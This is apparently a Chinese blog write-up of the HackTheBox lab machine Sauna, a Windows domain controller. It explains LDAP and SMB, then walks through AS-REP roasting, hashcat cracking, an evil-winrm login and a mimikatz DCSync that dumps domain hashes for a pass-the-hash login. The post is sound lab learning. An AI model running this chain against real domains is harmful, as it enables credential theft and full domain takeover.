HTB靶场系列—-Sauna(内网扫盲篇)

前言

​ 纠结了好久,终于下定决心买htb的会员学内网了(100r每个月心痛死我了)😢😢😢,做了一个最简单的靶机试试水,发现确实不错。故记录下做的时候踩的一些坑以及遇到的知识点。

过程

​ 因为HTB靶场打开后是内网ip,所以需要使用openvpn连接vpn。这里有个坑点就是使用图形化openvpn连接的时候会连接不上,只能在终端上使用openvpn命令进行连接。当连接了过后打开的界面就是这样的

image-20231011141005248

​ 然后进行端口扫描,我使用的是masscan+nmap组合。这里也有个坑点,当使用masscan进行端口探测的时候,你需要指定流量走哪一个网卡,否则masscan不会走openvpn代理导致无法扫出端口信息。最后使用的命令如下

    command = 'sudo {} -iL {} -e utun3 -p 1-65535 -oJ {} --rate {}'.format(masscan_exe, ip_file, masscan_file, masscan_rate)

扫描出来的端口信息如下

Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-10 14:27 CST
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.10.175, 16) => Protocol wrong type for socket
Offending packet: TCP 10.10.16.3:54110 > 10.10.10.175:53 S ttl=38 id=14627 iplen=11264  seq=4204455003 win=1024 <mss 1460>
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.10.175, 16) => Protocol wrong type for socket
Offending packet: TCP 10.10.16.3:54112 > 10.10.10.175:53 S ttl=59 id=63861 iplen=11264  seq=4204323929 win=1024 <mss 1460>
Nmap scan report for 10.10.10.175
Host is up (0.12s latency).

PORT      STATE    SERVICE       VERSION
53/tcp    filtered domain
80/tcp    open     http          Microsoft IIS httpd 10.0
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-10 13:27:32Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open     mc-nmf        .NET Message Framing
49668/tcp open     msrpc         Microsoft Windows RPC
49673/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open     msrpc         Microsoft Windows RPC
49677/tcp open     msrpc         Microsoft Windows RPC
49689/tcp open     msrpc         Microsoft Windows RPC
49696/tcp open     msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.81 seconds

通过相关端口信息,我们可以发现这台机子就是一台域控

相关知识

​ 可以看到上面有许多和Windows域相关的知识,我们先提前了解一下

LDAP

​ LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个协议。了解Java的师傅应该都知道,在利用jndi进行反序列化的时候就会利用到ldap协议。

​ 目录服务数据库也是一种数据库,这种数据库相对于我们熟知的关系型数据库(比如MySQL,Oracle),主要有以下几个方面的特点。

​ 它成树状结构组织数据,类似文件目录一样。

​ 它是为查询、浏览和搜索而优化的数据库,也就是说LDAP的读性能特别强,但是写性能差,而且还不支持事务处理、回滚等复杂功能。

如图

image-20231011142246850

这就是一种目录服务数据库,它成树状结构组织数据。它的基本概念如下:

​ 1.目录树:如上图所示,在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。

​ 2.条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。比如图中的每个圆圈都是一条记录。

​ 3.DN,RDN:比如说第一个叶子条目,他有一个唯一可区分的名称DN:uid=bob,ou=people,dc=acme,dc=org。类似于文件目录的相对路径绝对路径,他除了有个DN之外,还有个RDN,他与目录结构无关,比如之前咱们提过的uid=bob,ou=people,dc=acme,dc=org,他的RDN就是uid=bob

​ 4.属性:描述条目具体信息。比如`uid=bill,ou=people,dc=acme,dc=org,他有属性name 为bill,属性age为11,属性school 为xx。

在Windows域中Active Directory,就是微软的对目录服务数据库的实现。而LDAP是设计用来对目录服务数据库(在这里的实现就是微软的Active Directory)的访问的协议。Active Directory存储着整个域内所有的计算机,用户等的所有信息。

ldap默认开放端口就是389,在域中其默认开放的不安全端口就是3268

SMB

​ SMB(Server Message Block)被称为服务器消息块,又叫网络文件共享系统(CIFS)。在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。主要作用是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。

CIFS消息一般使用NetBIOS或TCP协议发送,分别使用不同的端口139或445,当前倾向于使用445端口。

  • 直接运行在 TCP 上 port 445
  • 通过使用 NetBIOS API
    • 基于 UDP ports 137, 138 & TCP ports 137, 139
    • 基于一些传统协议,例如 NBF

利用

对于ldap服务,其存在一个匿名绑定功能,通过这个功能可以不通过身份认证查询用户、组和计算机信息。我们可以尝试着试试看能否利用成功。这里使用了windapsearch这个工具。

image-20231011145525127

可以发现虽然成功运行了但是并没有什么东西

对于smb服务同样存在匿名登陆,我们可以使用smbclient这个工具进行利用

image-20231011150449871

可以发现仍然没有什么东西

接着我们查看web界面,找到了一个about.html

image-20231011150413717

通过这些人名,我们可以生成一个字典,通过这个字典进行攻击。生成字典我们可以使用username-anarchy这个工具

image-20231011151330194

通过字典,我们可以查看是否有用户不需要经过Kerberos预身份验证。如果存在那么我们就可以得到其密码hash。

如果不经过Kerberos预身份验证的危害在hacktricks里的解释:

That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

这里使用GetNPUsers.py尝试向kerberos请求不需要预认证的票据

image-20231011152301992

得到对应用户名的密码hash,然后再使用hashcat进行解密

hashcat -m 18200 hash.txt -o pass.txt /usr/share/wordlists/rockyou.txt --force

成功解密

image-20231011152911723

有了账户和密码过后我们就可以通过工具连上该机器,这里使用evil-winrm这个工具

image-20231011153132574

成功连接,user用户的flag在桌面上。

接下来我们可以使用WinPEAS程序查看机器的信息,看能否找到有用的东西

通过执行命令发现了另一个用户

*Evil-WinRM* PS C:\Users\FSmith\Documents> upload winPEASany.exe

image-20231011164004709

然后我们使用查到的身份登陆靶机,查看其信息

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> net users svc_loanmgr
User name                    svc_loanmgr
Full Name                    L Manager
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/24/2020 4:48:31 PM
Password expires             Never
Password changeable          1/25/2020 4:48:31 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Remote Management Users
Global Group memberships     *Domain Users
The command completed successfully.

发现其是Remote Management Users组

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> net localgroup "Remote Management Users"
Alias name     Remote Management Users
Comment        Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.

Members

-------------------------------------------------------------------------------
FSmith
svc_loanmgr
The command completed successfully.

我们可以通过DCSync进行攻击

关于DCSynchacktricks上是这样解释的:

DCSync攻击模拟域控制器的行为,并要求其他域控制器使用目录复制服务远程协议 (MS-DRSR)复制信息。由于 MS-DRSR 是 Active Directory 的一项有效且必要的功能,因此无法将其关闭或禁用。

默认情况下,只有域管理员、企业管理员、管理员和域控制器组拥有所需的权限。

如果任何帐户密码以可逆加密方式存储,Mimikatz 中提供了一个选项以明文形式返回密码

默认有权限执行DCSync的用户组是:Domain Admins, Enterprise Admins, Administrators, and Domain Controllers

我们使用mimikatz进行攻击

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> ./mimikatz.exe privilege::debug "lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /all /csv" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

mimikatz(commandline) # lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /all /csv
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server
[DC] Exporting domain 'EGOTISTICAL-BANK.LOCAL'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt  4a8899428cad97676ff802229e466e2c    514
1103    HSmith  58a52d36c84fb7f5f1beab9a201db1dd    66048
1000    SAUNA$  116ca28933fb4ab8f3543837070bd77b    532480
500 Administrator   823452073d75b9d1cf70ebdf86c7f98e    66048
1105    FSmith  58a52d36c84fb7f5f1beab9a201db1dd    4260352
1108    svc_loanmgr 9cb31797c39a9b170b04058ba2bba48c    66048

得到Administrator的哈希密码,然后通过这个密码用Administrator身份进行登陆

image-20231011172631868

成功拿下该域控机子

总结

​ 回过头来发现,这个靶机其实并不算难,挺简单的。算是对内网相关知识有一定的了解。官方wp也写挺好的,写的很细致通俗易懂。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇